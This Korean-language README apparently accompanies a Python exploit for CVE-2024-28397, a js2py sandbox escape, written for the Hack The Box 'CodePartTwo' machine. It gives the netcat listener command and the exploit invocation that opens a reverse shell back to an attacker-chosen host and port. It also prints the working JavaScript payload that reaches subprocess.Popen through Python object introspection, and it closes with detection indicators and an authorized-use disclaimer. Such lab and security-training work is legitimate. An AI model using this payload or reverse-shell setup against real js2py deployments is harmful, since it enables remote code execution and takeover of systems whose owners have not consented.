
이 저장소는 Hack The Box(HTB)의 "CodePartTwo" 머신에서 사용하기 위한 CVE-2024-28397용 python 익스플로잇 코드를 포함하고 있습니다.
CVE-2024-28397을 위한 Python 익스플로잇 코드로, js2py <= 0.74에서 샌드박스 탈출 및 원격 코드 실행을 허용하는 치명적인 취약점입니다.
js2py는 Python 환경 내에서 JavaScript 코드를 평가하기 위한 널리 사용되는 Python 라이브러리입니다. 이 취약점을 통해 공격자는 js2py.disable_pyimport()가 활성화된 경우에도 js2py 샌드박스 환경을 탈출하고 임의의 Python/시스템 명령을 실행할 수 있습니다.
이 익스플로잇은 JavaScript를 통한 Python의 객체 내부 조사(introspection) 기능을 활용하여 subprocess.Popen 클래스에 접근하고 시스템 명령을 실행합니다.
pip install requests
# netcat 리스너 시작
nc -lnvp 4444
# 익스플로잇 실행
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target 대상 URL 엔드포인트 (필수)
--lhost 리버스 셸용 로컬 IP (필수)
--lport 리버스 셸용 로컬 포트 (기본값: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ 및 __base__를 통해 Python의 객체 계층 구조에 접근합니다subprocess.Popen을 찾습니다이 익스플로잇은 다음 방식으로 작동합니다:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__에 접근__subclasses__()를 사용하여 Python의 객체 계층 구조를 탐색subprocess.Popen 클래스 찾기// Python 객체 계층 구조에 접근
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// subprocess.Popen 클래스 찾기
function findpopen(o) {
// 하위 클래스를 통한 재귀 검색
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// 명령 실행
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
다음을 포함하는 JavaScript 코드를 찾으세요:
__class__ 또는 ___class___ 속성 접근__subclasses__() 메서드 호출subprocess 또는 Popen 참조printf 및 base64 -d가 포함된 base64 인코딩 페이로드이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 사용자는 관련 법률 및 규정을 준수할 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.